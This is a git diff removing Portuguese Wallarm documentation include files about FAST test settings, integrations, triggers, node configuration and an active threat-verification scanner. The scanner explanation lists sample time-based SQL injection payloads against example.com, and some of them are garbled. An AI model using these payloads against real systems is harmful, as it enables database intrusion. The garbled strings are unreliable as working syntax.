... - "ready_for_recording": true, - ... - } -} -``` \ No newline at end of file diff --git a/include-pt-BR/fast/test-run-adv-settings.md b/include-pt-BR/fast/test-run-adv-settings.md deleted file mode 100644 index 5b2f787e03..0000000000 --- a/include-pt-BR/fast/test-run-adv-settings.md +++ /dev/null @@ -1,19 +0,0 @@ -* A caixa de seleção "Parar na primeira falha" define se a execução do teste deve ser interrompida após a primeira vulnerabilidade ser encontrada. -* A caixa de seleção "Ignorar linhas de base duplicadas" define se as duplicatas das solicitações de linha de base recebidas anteriormente devem ser ignoradas. Se o nó FAST receber a mesma solicitação de linha de base que a recebida nesta execução de teste anteriormente, então nenhuma solicitação de teste é criada com base nela, e o console do nó FAST imprime a seguinte mensagem: `[info] A linha de base # 8921 é duplicada e já foi processada`. -* A caixa de seleção "Ignorar as seguintes extensões de arquivo" define se certos tipos de arquivo são excluídos do processo de avaliação durante os testes. Esses tipos de arquivo são especificados pela expressão regular. - - Por exemplo, se você definir a extensão de arquivo `ico` para ser excluída, então a solicitação de linha de base `GET /favicon.ico` não será verificada pelo FAST e será ignorada. - - A expressão regular pode conter uma das seguintes expressões mutuamente excludentes: - - * `.`: qualquer número de qualquer caractere - * `x*`: qualquer número do caractere `x` - * `x?`: o único caractere `x` (ou nenhum caractere `x` de todo) - * qualquer única extensão de arquivo (por exemplo, `jpg`) - * várias extensões delimitadas por caractere “|” ou “,” (por exemplo, `jpg | png` ou `jpg, png`) - - Se uma expressão regular não for especificada, então o FAST verificará as solicitações de linha de base com qualquer extensão de arquivo. - -* O controle deslizante "RPS por execução de teste" define o limite de solicitações por segundo para a execução do teste. Essa configuração pode assumir valores de `1` a `1000`. O valor padrão é `1000`. -* O controle deslizante "RPS por linha de base" define o limite de solicitações por segundo para uma solicitação de linha de base. Essa configuração pode assumir valores de `1` a `500`. O valor padrão é `500`. -* O controle deslizante "Interromper a gravação da linha de base após" define o limite de tempo de execução do teste. Essa configuração pode assumir valores de `5 min` (5 minutos) a `1 dia` (24 horas). O valor padrão é `30 min` (30 minutos). \ No newline at end of file diff --git a/include-pt-BR/fast/wallarm-api-host-note-cicd.md b/include-pt-BR/fast/wallarm-api-host-note-cicd.md deleted file mode 100644 index 79d07e0af0..0000000000 --- a/include-pt-BR/fast/wallarm-api-host-note-cicd.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! aviso "Conectando o nó FAST a uma das nuvens Wallarm" - Um nó FAST interage com uma das [nuvens disponíveis da Wallarm](../../cloud-list.md). Por padrão, um nó FAST trabalha com o servidor API Wallarm localizado na nuvem americana. - - Para instruir um nó FAST a usar o servidor API de outra nuvem, passe para o contêiner do nó a variável de ambiente `WALLARM_API_HOST` que aponta para o endereço do servidor Wallarm API necessário. - - Exemplo (para um nó FAST usando o servidor API localizado na nuvem européia da Wallarm): - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-pt-BR/fast/wallarm-api-host-note.md b/include-pt-BR/fast/wallarm-api-host-note.md deleted file mode 100644 index 57d037f6bb..0000000000 --- a/include-pt-BR/fast/wallarm-api-host-note.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! aviso "Conectando o nó FAST a uma das nuvens Wallarm" - Um nó FAST interage com uma das [nuvens Wallarm disponíveis](../cloud-list.md). Por padrão, um nó FAST trabalha com o servidor API Wallarm localizado na nuvem americana. - - Para instruir um nó FAST a usar o servidor API de outra nuvem, passe para o contêiner do nó a variável de ambiente `WALLARM_API_HOST` que aponta para o endereço do servidor API Wallarm necessário. - - Exemplo (para um nó FAST usando o servidor API localizado na nuvem europeia Wallarm): - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-pt-BR/filter-node-defaults.md b/include-pt-BR/filter-node-defaults.md deleted file mode 100644 index 08d6923144..0000000000 --- a/include-pt-BR/filter-node-defaults.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Configurações padrão" - Um nó de filtragem recém-instalado opera no modo de bloqueio (veja a descrição da diretiva [`wallarm_mode`](configure-parameters-en.md#wallarm_mode) por padrão. - - Isso pode resultar no [Wallarm Scanner](../user-guides/scanner.md) inoperante. Se você planeja usar o Scanner, então você [precisa realizar ações adicionais](#adicionando-endereços-do-wallarm-scanner-à-lista-de-permissões) para tornar o Scanner operacional. \ No newline at end of file diff --git a/include-pt-BR/gcp-autoscaling-connect-ssh.md b/include-pt-BR/gcp-autoscaling-connect-ssh.md deleted file mode 100644 index 3bd531721b..0000000000 --- a/include-pt-BR/gcp-autoscaling-connect-ssh.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Conectando à instância através de uma chave privada personalizada" - Se durante o processo de criação da instância base você habilitou a conexão à instância por meio de um par de chaves SSH personalizado, certifique-se de que você tem acesso à chave privada deste par de chaves. \ No newline at end of file diff --git a/include-pt-BR/how-attack-rechecker-works.md b/include-pt-BR/how-attack-rechecker-works.md deleted file mode 100644 index 43fa08344d..0000000000 --- a/include-pt-BR/how-attack-rechecker-works.md +++ /dev/null @@ -1,39 +0,0 @@ -Com base nos ataques iniciais detectados, o módulo **Verificação de ameaça ativa** cria muitas novas solicitações de teste com diferentes payloads atacando o mesmo endpoint. Esse mecanismo permite que o Wallarm detecte vulnerabilidades que poderiam ser potencialmente exploradas durante os ataques. O processo de verificação de ameaça ativa confirmará que o aplicativo não é vulnerável aos vetores de ataque específicos ou encontrará problemas reais de segurança do aplicativo. - -[Lista de vulnerabilidades que podem ser detectadas pelo módulo](../attacks-vulns-list.md) - -O processo de **Verificação de ameaça ativa** usa a seguinte lógica para verificar o aplicativo protegido para possíveis vulnerabilidades de segurança na Web e na API: - -1. Para cada grupo de solicitação maliciosa (cada ataque) detectado por um nó de filtragem Wallarm e carregados para o Wallarm Cloud conectado, o sistema analisa qual endpoint específico (URL, parâmetro de string de requisição, atributo JSON, campo XML, etc) foi atacado e qual tipo específico de vulnerabilidade (SQLi, RCE, XSS, etc) o atacante estava tentando explorar. Por exemplo, vamos dar uma olhada na seguinte solicitação GET maliciosa: - - ```bash - https://example.com/login?token=IyEvYmluL3NoCg&user=UNION SELECT username, password - ``` - - A partir da solicitação, o sistema aprenderá os seguintes detalhes: - - * A URL atacada é `https://example.com/login` - * O tipo de ataque usado é SQLi (de acordo com o payload `UNION SELECT username, password`) - * O parâmetro da string de consulta atacada é `user` - * Uma peça adicional de informação fornecida na solicitação é o parâmetro da string de requisição `token = IyEvYmluL3NoCg` (provavelmente usado pelo aplicativo para autenticar o usuário) -2. Usando as informações coletadas, o módulo **Verificação de ameaça ativa** criará uma lista de cerca de 100-150 solicitações de teste para o endpoint originalmente visado, mas com diferentes tipos de payloads maliciosos para o mesmo tipo de ataque (como SQLi). Por exemplo: - - ```bash - https://example.com/login?token=IyEvYmluL3NoCg&user=1')+WAITFOR+DELAY+'0 indexpt'+AND+('wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+SLEEP(10)--+wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1);SELECT+PG_SLEEP(10)-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1'+OR+SLEEP(10)+AND+'wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+1=(SELECT+1+FROM+PG_SLEEP(10)) - https://example.com/login?token=IyEvYmluL3NoCg&user=%23'%23\x22%0a-sleep(10)%23 - https://example.com/login?token=IyEvYmluL3NoCg&user=1';+WAITFOR+DELAY+'0code:10'-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1%27%29+OR+SLEEP%280%29+AND+%28%27wlrm%27%3D%27wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=SLEEP(10)/*'XOR(SLEEP(10))OR'|\x22XOR(SLEEP(10))OR\x22*/ - ``` - - !!! info "Payloads maliciosos não prejudicam seus recursos" - Os payloads maliciosos das solicitações geradas não incluem sintaxe realmente maliciosa, eles são destinados apenas para imitar o princípio do ataque. Como resultado, eles não prejudicam seus recursos. -3. O módulo **Verificação de ameaça ativa** enviará solicitações de teste geradas para o aplicativo contornando a proteção Wallarm (usando o recurso de [permissões de endereço][allowlist-scanner-addresses]) e verificará que o aplicativo no endpoint específico não é vulnerável ao tipo de ataque específico. Se o módulo suspeitar que o aplicativo tem uma vulnerabilidade de segurança real, criará um evento com o tipo [incidente](../user-guides/events/check-attack.md#incidents). - - !!! info "Valor do cabeçalho HTTPS `User-Agent` nas solicitações" - O cabeçalho HTTP `User-Agent` nas solicitações do módulo **Verificação de ameaça ativa** terá o valor `Wallarm Threat-Verification (v1.x)`. -4. Os incidentes de segurança detectados são relatados no Wallarm Console e podem ser despachados para sua equipe de segurança por meio das [Integrações](../user-guides/settings/integrations/integrations-intro.md) e [Triggers](../user-guides/triggers/triggers.md) de terceiros disponíveis. \ No newline at end of file diff --git a/include-pt-BR/ingress-controller-best-practices-intro.md b/include-pt-BR/ingress-controller-best-practices-intro.md deleted file mode 100644 index c634a2e60c..0000000000 --- a/include-pt-BR/ingress-controller-best-practices-intro.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "Outras recomendações" - A versão do Wallarm do controlador Kubernetes Ingress é baseada no [controlador NGINX Ingress suportado pela comunidade para Kubernetes](https://github.com/kubernetes/ingress-nginx), então a maioria das recomendações encontradas na documentação oficial do controlador Ingress e na Internet pública também são aplicáveis ao controlador Ingress da Wallarm. - - Leitura recomendada: - - * [Guia Oficial do Controlador NGINX Ingress](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/) \ No newline at end of file diff --git a/include-pt-BR/ingress-k8s-limitations.md b/include-pt-BR/ingress-k8s-limitations.md deleted file mode 100644 index 3ba001e45d..0000000000 --- a/include-pt-BR/ingress-k8s-limitations.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! aviso "Plataforma Kubernetes suportada" - Por favor, note que os controladores de ingresso Wallarm NGINX ou NGINX Plus funcionam apenas na versão 1.15 ou inferior da plataforma Kubernetes. \ No newline at end of file diff --git a/include-pt-BR/installation-extra-steps-218.md b/include-pt-BR/installation-extra-steps-218.md deleted file mode 100644 index 48daa4c263..0000000000 --- a/include-pt-BR/installation-extra-steps-218.md +++ /dev/null @@ -1,44 +0,0 @@ -## Configurações adicionais - -O nó de filtragem pode exigir alguma configuração adicional após a instalação. - -O documento abaixo lista algumas das configurações típicas que você pode aplicar se necessário. - -Para obter mais informações sobre outras configurações disponíveis, prossiga para a seção **Configuração** do [Guia do administrador](admin-intro-en.md). - -### Configurando a exibição do IP real do cliente - -Se o nó de filtragem for implantado atrás de um servidor proxy ou balanceador de carga sem nenhuma configuração adicional, o endereço de origem da solicitação pode não ser igual ao endereço IP real do cliente. Em vez disso, pode ser igual a um dos endereços IP do servidor proxy ou do balanceador de carga. - -Nesse caso, se desejar que o nó de filtragem receba o endereço IP do cliente como um endereço de origem de solicitação, você precisará realizar uma [configuração adicional](using-proxy-or-balancer-en.md) do servidor proxy ou do balanceador de carga. - -### Adicionando endereços do Scanner Wallarm à lista de permissões - -O Scanner Wallarm verifica os recursos de sua empresa em busca de vulnerabilidades. A varredura é realizada usando endereços IP de uma das seguintes listas (dependendo do tipo de Wallarm Cloud que você está usando): - -* [Endereços do Scanner US para usuários do Cloud US](scanner-addresses.md) -* [Endereços do Scanner EU para usuários do Cloud EU](scanner-addresses.md) - -Se você está usando o Scanner Wallarm, precisa configurar as listas de permissões em seu software de segurança de escopo de rede (como firewalls, sistemas de detecção de intrusão, etc.) para conter os endereços IP do Scanner Wallarm. - -Por exemplo, um nó de filtragem Wallarm com as configurações padrão é colocado no modo de bloqueio, impedindo assim que o Scanner Wallarm verifique os recursos atrás do nó de filtragem. - -Para tornar o Scanner operacional novamente, [permitir os endereços IP do Scanner](scanner-ips-allowlisting.md) neste nó de filtragem. - -### Limitando o tempo de processamento de uma única solicitação - -Use a diretiva Wallarm [`wallarm_process_time_limit`](configure-parameters-en.md#wallarm_process_time_limit) para especificar o limite de duração para o processamento de uma única solicitação pelo nó de filtragem. - -Se o processamento da solicitação consumir mais tempo do que o especificado na diretiva, as informações sobre o erro serão inseridas no arquivo de log e a solicitação será marcada como um ataque `overlimit_res`. - -### Limitando o tempo de espera da resposta do servidor - -Use a diretiva NGINX [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) para especificar o tempo limite para ler a resposta do servidor proxy. - -Se o servidor não enviar nada durante esse tempo, a conexão será fechada. - -### Limitando o tamanho máximo da solicitação - -Use a diretiva NGINX [`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) para especificar o limite para o tamanho máximo do corpo da solicitação do cliente. - -Se esse limite for excedido, o NGINX responde ao cliente com o código `413` (`Payload Too Large`), também conhecido como a mensagem `Request Entity Too Large`. \ No newline at end of file diff --git a/include-pt-BR/installation-extra-steps.md b/include-pt-BR/installation-extra-steps.md deleted file mode 100644 index e6390a9e08..0000000000 --- a/include-pt-BR/installation-extra-steps.md +++ /dev/null @@ -1,31 +0,0 @@ -## Configurações adicionais - -O nó de filtragem pode exigir alguma configuração adicional após a instalação. - -O documento abaixo lista algumas das configurações típicas que você pode aplicar, se necessário. - -Para obter mais informações sobre outras configurações disponíveis, prossiga para a seção **Configuração** do guia do administrador. - -### Configurando a exibição do IP real do cliente - -Se o nó de filtragem for implantado atrás de um servidor proxy ou balanceador de carga sem nenhuma configuração adicional, o endereço de origem do pedido pode não ser igual ao IP real do cliente. Em vez disso, pode ser igual a um dos endereços IP do servidor proxy ou do balanceador de carga. - -Nesse caso, se você deseja que o nó de filtragem receba o endereço IP do cliente como um endereço de origem de solicitação, você precisa realizar uma [configuração adicional](using-proxy-or-balancer-en.md) do servidor proxy ou do balanceador de carga. - -### Limitando o tempo de processamento de uma única solicitação - -Use a diretiva Wallarm [`wallarm_process_time_limit`](configure-parameters-en.md#wallarm_process_time_limit) para especificar o limite da duração do processamento de uma única solicitação pelo nó de filtragem. - -Se o processamento da solicitação consumir mais tempo do que o especificado na diretiva, então as informações sobre o erro são inseridas no arquivo de log e a solicitação é marcada como um ataque `overlimit_res`. - -### Limitando o tempo de espera da resposta do servidor - -Use a diretiva NGINX [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) para especificar o tempo limite para ler a resposta do servidor proxy. - -Se o servidor não enviar nada durante esse tempo, a conexão é fechada. - -### Limitando o tamanho máximo da solicitação - -Use a diretiva NGINX [`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) para especificar o limite para o tamanho máximo do corpo da solicitação do cliente. - -Se este limite for excedido, o NGINX responde ao cliente com o código `413` (`Payload Too Large`), também conhecido como a mensagem `Request Entity Too Large`. \ No newline at end of file diff --git a/include-pt-BR/installation-step-logging.md b/include-pt-BR/installation-step-logging.md deleted file mode 100644 index 4dec886137..0000000000 --- a/include-pt-BR/installation-step-logging.md +++ /dev/null @@ -1 +0,0 @@ -Configure [o registro de variáveis do nó de filtragem](../admin-en/configure-logging.md) usando o NGINX. Isso permitirá realizar um diagnóstico rápido do nó de filtragem com a ajuda do arquivo de log do NGINX. \ No newline at end of file diff --git a/include-pt-BR/integrations/advanced-events-for-integrations.md b/include-pt-BR/integrations/advanced-events-for-integrations.md deleted file mode 100644 index 078c09b8e6..0000000000 --- a/include-pt-BR/integrations/advanced-events-for-integrations.md +++ /dev/null @@ -1,13 +0,0 @@ -* [Hits](../../../glossary-en.md#hit) detectados, com exceção de: - - * Hits experimentais detectados com base na [expressão regular personalizada](../../rules/regex-rule.md). Hits não experimentais acionam notificações. - * Hits não salvos na [amostra](../../events/analyze-attack.md#sampling-of-hits). - -* Relacionados ao sistema: - * Mudanças de [usuário](../../../user-guides/settings/users.md) (novo criado, excluído, mudança de função) - * Mudanças de [integração](integrations-intro.md) (desativada, excluída) - * Mudanças de [aplicação](../../../user-guides/settings/applications.md) (nova criada, excluída, mudança de nome) -* [Vulnerabilidades](../../../glossary-en.md#vulnerability) detectadas, todas por padrão ou apenas para o(s) nível(is) de risco selecionado(s) - alto, médio ou baixo. -* [Regras](../../../user-guides/rules/rules.md) e [gatilhos](../../../user-guides/triggers/triggers.md) alterados (criação, atualização ou exclusão da regra ou gatilho) -* [Escopo (ativos expostos)](../../scanner.md) alterado: atualizações em hosts, serviços e domínios -* De hora em hora, você pode receber uma notificação com o número de solicitações processadas durante a hora anterior \ No newline at end of file diff --git a/include-pt-BR/integrations/application-for-splunk.md b/include-pt-BR/integrations/application-for-splunk.md deleted file mode 100644 index 87386c7ed6..0000000000 --- a/include-pt-BR/integrations/application-for-splunk.md +++ /dev/null @@ -1,14 +0,0 @@ -Para organizar eventos Wallarm em um painel de controle pronto para usar no Splunk 9.0 ou posterior, você pode instalar o [aplicativo Wallarm para Splunk](https://splunkbase.splunk.com/app/6610). - -Este aplicativo fornece um painel de controle pré-configurado que é automaticamente preenchido com os eventos recebidos da Wallarm. Além disso, o aplicativo permite que você prossiga para logs detalhados sobre cada evento e exporte os dados do painel de controle. - -![Painel Splunk][splunk-dashboard-by-wallarm-img] - -Para instalar o aplicativo Wallarm para Splunk: - -1. Na interface do usuário Splunk ➝ **Apps**, encontre o aplicativo `Wallarm API Security`. -1. Clique em **Instalar** e insira as credenciais do Splunkbase. - -Se alguns eventos Wallarm já estiverem registrados no Splunk, eles serão exibidos no painel de controle, bem como eventos adicionais que a Wallarm descobrirá. - -Além disso, você pode personalizar completamente o painel pronto para uso, por exemplo, sua visualização ou [strings de pesquisa](https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Search) usados ​​para extrair dados de todos os registros Splunk. \ No newline at end of file diff --git a/include-pt-BR/integrations/disable-integration.md b/include-pt-BR/integrations/disable-integration.md deleted file mode 100644 index a0e2c8e531..0000000000 --- a/include-pt-BR/integrations/disable-integration.md +++ /dev/null @@ -1,8 +0,0 @@ -Para parar de enviar relatórios e notificações temporariamente, você pode desativar a integração: - -1. Vá para o Console Wallarm → **Integrações** na [Nuvem US](https://us1.my.wallarm.com/integrations/) ou [Nuvem EU](https://my.wallarm.com/integrations/). -2. Abra uma integração ativa e clique em **Desativar**. - -Para reativar o envio de relatórios e notificações, abra a integração desativada e clique em **Ativar**. - -Desativar a integração é o evento do sistema. Se você receber notificações do sistema, as mensagens sobre a integração desativada serão enviadas para o [sistema configurado](integrations-intro.md#integration-types). \ No newline at end of file diff --git a/include-pt-BR/integrations/events-for-integrations-mail.md b/include-pt-BR/integrations/events-for-integrations-mail.md deleted file mode 100644 index bee539a7d2..0000000000 --- a/include-pt-BR/integrations/events-for-integrations-mail.md +++ /dev/null @@ -1,9 +0,0 @@ -* Relacionado ao sistema: - * [Usuário](../../../user-guides/settings/users.md) alterações (criado recentemente, excluído, mudança de função) - * [Integração](integrations-intro.md) alterações (desativado, excluído) - * [Aplicação](../../../user-guides/settings/applications.md) alterações (criado recentemente, excluído, mudança de nome) -* [Vulnerabilidades](../../../glossary-en.md#vulnerability) detectadas, todas por padrão ou apenas para o(s) nível(is) de risco selecionado(s): - * Alto risco - * Risco médio - * Baixo risco -* [Escopo (ativos expostos)](../../scanner.md) alterado: atualizações em hosts, serviços e domínios \ No newline at end of file diff --git a/include-pt-BR/integrations/events-for-integrations.md b/include-pt-BR/integrations/events-for-integrations.md deleted file mode 100644 index 921386f22a..0000000000 --- a/include-pt-BR/integrations/events-for-integrations.md +++ /dev/null @@ -1,10 +0,0 @@ -* Relacionado ao sistema: - * Mudanças de [Usuário](../../../user-guides/settings/users.md) (recém-criado, excluído, alteração de função) - * Mudanças de [Integração](integrations-intro.md) (desativada, excluída) - * Mudanças de [Aplicativo](../../../user-guides/settings/applications.md) (recém-criado, excluído, alteração de nome) -* [Vulnerabilidades](../../../glossary-en.md#vulnerability) detectadas, todas por padrão ou apenas para o(s) nível(is) de risco selecionado(s): - * Alto risco - * Risco médio - * Baixo risco -* [Regras](../../../user-guides/rules/rules.md) e [gatilhos](../../../user-guides/triggers/triggers.md) alterados (criando, atualizando ou excluindo a regra ou gatilho) -* [Escopo (ativos expostos)](../../scanner.md) alterado: atualizações em hosts, serviços e domínios diff --git a/include-pt-BR/integrations/integration-not-working.md b/include-pt-BR/integrations/integration-not-working.md deleted file mode 100644 index fc43cbf6f6..0000000000 --- a/include-pt-BR/integrations/integration-not-working.md +++ /dev/null @@ -1,15 +0,0 @@ -Notificações ao sistema são enviadas por meio de solicitações. Se o sistema estiver indisponível ou os parâmetros de integração estiverem configurados incorretamente, o código de erro é retornado na resposta à solicitação. - -Se o sistema responder à solicitação de Wallarm com qualquer código diferente de `2xx`, Wallarm reenvia a solicitação com o intervalo até que o código `2xx` seja recebido: - -* Os intervalos do primeiro ciclo: 1, 3, 5, 10, 10 segundos -* Os intervalos do segundo ciclo: 0, 1, 3, 5, 30 segundos -* Os intervalos do terceiro ciclo: 1, 1, 3, 5, 10, 30 minutos - -Se a porcentagem de solicitações mal sucedidas atingir 60% em 12 horas, a integração é automaticamente desabilitada. Se você receber notificações do sistema, você receberá uma mensagem sobre a integração ser automaticamente desabilitada. - - \ No newline at end of file diff --git a/include-pt-BR/integrations/integrations-disable-delete.md b/include-pt-BR/integrations/integrations-disable-delete.md deleted file mode 100644 index 7f0ae67c84..0000000000 --- a/include-pt-BR/integrations/integrations-disable-delete.md +++ /dev/null @@ -1,3 +0,0 @@ -Você pode excluir ou desativar temporariamente a integração. Embora a exclusão interrompa o envio de notificações e exclua completamente todas as configurações, a desativação apenas interrompe o envio de notificações que você pode reativar a qualquer momento com as mesmas configurações. - -Se para a integração os eventos **Relacionados ao sistema** forem selecionados para disparar notificações, a Wallarm notificará sobre ambas as ações. \ No newline at end of file diff --git a/include-pt-BR/integrations/integrations-trigger-setup-limited.md b/include-pt-BR/integrations/integrations-trigger-setup-limited.md deleted file mode 100644 index bfee77c254..0000000000 --- a/include-pt-BR/integrations/integrations-trigger-setup-limited.md +++ /dev/null @@ -1,9 +0,0 @@ -Além das notificações que você já configurou por meio do cartão de integração, os gatilhos Wallarm permitem que você selecione eventos adicionais para notificações: - -* O número de [ataques](../../../glossary-en.md#attack), [acertos](../../../glossary-en.md#hit) ou incidentes por intervalo de tempo (dia, hora, etc.) excede o número definido -* [Mudanças na API](../../../api-discovery/overview.md#tracking-changes-in-api) ocorreram -* Um novo usuário foi adicionado à conta da empresa - -Para detalhar a condição, você pode adicionar um ou mais filtros. Assim que a condição e os filtros estiverem definidos, selecione a integração pela qual o alerta selecionado deve ser enviado. Você pode selecionar várias integrações simultaneamente. - -![Escolhendo uma integração](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-pt-BR/integrations/integrations-trigger-setup-siem-webhook.md b/include-pt-BR/integrations/integrations-trigger-setup-siem-webhook.md deleted file mode 100644 index 78440d4f3c..0000000000 --- a/include-pt-BR/integrations/integrations-trigger-setup-siem-webhook.md +++ /dev/null @@ -1,41 +0,0 @@ -### Etapa 1: Escolhendo uma condição - -As seguintes condições estão disponíveis para notificação: - -* Número de [ataques](../../glossary-en.md#attack) (ataques experimentais baseados em [expressões regulares personalizadas](../rules/regex-rule.md) não são contados) -* Número de [acertos](../../glossary-en.md#hit) exceto por: - - * Acertos experimentais detectados com base na [expressão regular personalizada](../rules/regex-rule.md). Apenas acertos não experimentais são contados. - * Acertos não salvos na [amostra](../events/analyze-attack.md#sampling-of-hits). -* Número de incidentes -* IP na lista de negação -* [Mudanças na API](../../api-discovery/overview.md#tracking-changes-in-api) -* Usuário adicionado - -### Etapa 2: Adicionando filtros - -Filtros são usados para detalhar a condição. Os seguintes filtros estão disponíveis: - -* **Tipo** é um [tipo](../../attacks-vulns-list.md) de ataque detectado na solicitação ou um tipo de vulnerabilidade para a qual a solicitação é direcionada. -* **Aplicação** é a [aplicação](../settings/applications.md) que recebe a solicitação ou na qual um incidente é detectado. -* **IP** é um endereço IP a partir do qual a solicitação é enviada. - - O filtro espera apenas IPs únicos, não permite sub-redes, localizações e tipos de origem. -* **Domínio** é o domínio que recebe a solicitação ou no qual um incidente é detectado. -* **Status da resposta** é o código de resposta retornado à solicitação. -* **Alvo** é uma parte da arquitetura da aplicação para a qual o ataque é direcionado ou na qual o incidente é detectado. Pode ter os seguintes valores: `Servidor`, `Cliente`, `Banco de Dados`. - -Escolha um ou mais filtros na interface do Console Wallarm e defina valores para eles. - -### Etapa 3: Selecionando a integração - -Nesta etapa, você seleciona a integração através da qual o alerta selecionado deve ser enviado. Você pode selecionar várias integrações simultaneamente. - -![Escolhendo uma integração](../../images/user-guides/triggers/select-integration.png) - -### Etapa 4: Salvando o gatilho - -1. Clique no botão **Criar** na caixa de diálogo de criação de gatilho. -2. Opcionalmente, especifique o nome e a descrição do gatilho e clique no botão **Concluído**. - -Se o nome e a descrição do gatilho não forem especificados, então o gatilho é criado com o nome `Novo gatilho por , ` e uma descrição vazia. \ No newline at end of file diff --git a/include-pt-BR/integrations/integrations-trigger-setup.md b/include-pt-BR/integrations/integrations-trigger-setup.md deleted file mode 100644 index c0f196182f..0000000000 --- a/include-pt-BR/integrations/integrations-trigger-setup.md +++ /dev/null @@ -1,10 +0,0 @@ -Além das notificações que você já configurou por meio do cartão de integração, os gatilhos Wallarm permitem que você selecione eventos adicionais para notificações: - -* Número de [ataques](../../../glossary-en.md#attack), [acertos](../../../glossary-en.md#hit) ou incidentes por intervalo de tempo (dia, hora, etc.) excede o número definido -* [Mudanças na API](../../../api-discovery/overview.md#tracking-changes-in-api) ocorreram -* O endereço IP foi [adicionado à lista de negação](../../../user-guides/ip-lists/denylist.md) -* Novo usuário foi adicionado à conta da empresa - -Para detalhar a condição, você pode adicionar um ou mais filtros. Assim que a condição e os filtros são definidos, selecione a integração através da qual o alerta selecionado deve ser enviado. Você pode selecionar várias integrações simultaneamente. - -![Escolhendo uma integração](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-pt-BR/integrations/remove-integration.md b/include-pt-BR/integrations/remove-integration.md deleted file mode 100644 index 94ee1b916f..0000000000 --- a/include-pt-BR/integrations/remove-integration.md +++ /dev/null @@ -1,7 +0,0 @@ -Para parar de enviar relatórios e notificações permanentemente, você pode deletar a integração. A exclusão de uma integração não pode ser desfeita. A integração será removida da lista permanentemente. - -1. Vá para o Console Wallarm → **Integrações** na Cloud [US](https://us1.my.wallarm.com/integrations/) ou [EU](https://my.wallarm.com/integrations/). -2. Abra a integração e clique em **Deletar**. -3. Confirme a ação. - -A exclusão da integração é o evento do sistema. Se você recebe notificações do sistema, as mensagens sobre a integração excluída serão enviadas para o [sistema configurado](integrations-intro.md#integration-types). \ No newline at end of file diff --git a/include-pt-BR/integrations/test-integration-advanced-data.md b/include-pt-BR/integrations/test-integration-advanced-data.md deleted file mode 100644 index 2b30010cda..0000000000 --- a/include-pt-BR/integrations/test-integration-advanced-data.md +++ /dev/null @@ -1,13 +0,0 @@ -Os testes de integração permitem verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato de notificação. Para testar a integração, você pode usar o botão **Testar integração** ao criar ou editar a integração. - -O teste de integração é realizado da seguinte maneira: - -* As notificações de teste com o prefixo `[Mensagem de teste]` são enviadas para o sistema selecionado. -* As notificações de teste abrangem os seguintes eventos (cada um em um único registro): - - * Novo usuário na conta da empresa - * Nova ocorrência detectada - * Novo IP descoberto no escopo da empresa - * Novo gatilho na conta da empresa - * Nova vulnerabilidade de segurança descoberta -* As notificações de teste incluem dados de teste. \ No newline at end of file diff --git a/include-pt-BR/integrations/test-integration-basic-data.md b/include-pt-BR/integrations/test-integration-basic-data.md deleted file mode 100644 index 1c2a6e7c13..0000000000 --- a/include-pt-BR/integrations/test-integration-basic-data.md +++ /dev/null @@ -1,12 +0,0 @@ -Os testes de integração permitem verificar a corretude da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. Para testar a integração, você pode usar o botão **Testar integração** ao criar ou editar a integração. - -A integração é testada da seguinte maneira: - -* Notificações de teste com o prefixo `[Mensagem de teste]` são enviadas para o sistema selecionado. -* As notificações de teste abrangem os seguintes eventos (cada um em um registro único): - - * Novo usuário na conta da empresa - * Novo IP descoberto no escopo da empresa - * Novo gatilho na conta da empresa - * Nova vulnerabilidade de segurança descoberta -* As notificações de teste incluem dados de teste. \ No newline at end of file diff --git a/include-pt-BR/integrations/test-integration-with-email.md b/include-pt-BR/integrations/test-integration-with-email.md deleted file mode 100644 index 734d38f504..0000000000 --- a/include-pt-BR/integrations/test-integration-with-email.md +++ /dev/null @@ -1,11 +0,0 @@ -Os testes de integração permitem verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato de notificação. Para testar a integração, você pode usar o botão **Testar integração** ao criar ou editar a integração. - -A integração é testada da seguinte maneira: - -* Notificações de teste com o prefixo `[Mensagem de teste]` são enviadas ao sistema selecionado. -* As notificações de teste abrangem os seguintes eventos (cada um em um único registro): - - * Novo usuário na conta da empresa - * Novo IP descoberto no escopo da empresa - * Nova vulnerabilidade de segurança descoberta -* As notificações de teste incluem dados de teste. \ No newline at end of file diff --git a/include-pt-BR/integrations/update-integration.md b/include-pt-BR/integrations/update-integration.md deleted file mode 100644 index 2b2ac462df..0000000000 --- a/include-pt-BR/integrations/update-integration.md +++ /dev/null @@ -1,5 +0,0 @@ -Para atualizar as configurações de uma integração ativa: - -1. Vá para Wallarm Console → **Integrações** na Nuvem [US](https://us1.my.wallarm.com/integrations/) ou [EU](https://my.wallarm.com/integrations/). -2. Abra uma integração ativa. -3. Faça as alterações necessárias e clique em **Salvar**. \ No newline at end of file diff --git a/include-pt-BR/integrations/webhook-advanced-settings.md b/include-pt-BR/integrations/webhook-advanced-settings.md deleted file mode 100644 index 0e8593f68f..0000000000 --- a/include-pt-BR/integrations/webhook-advanced-settings.md +++ 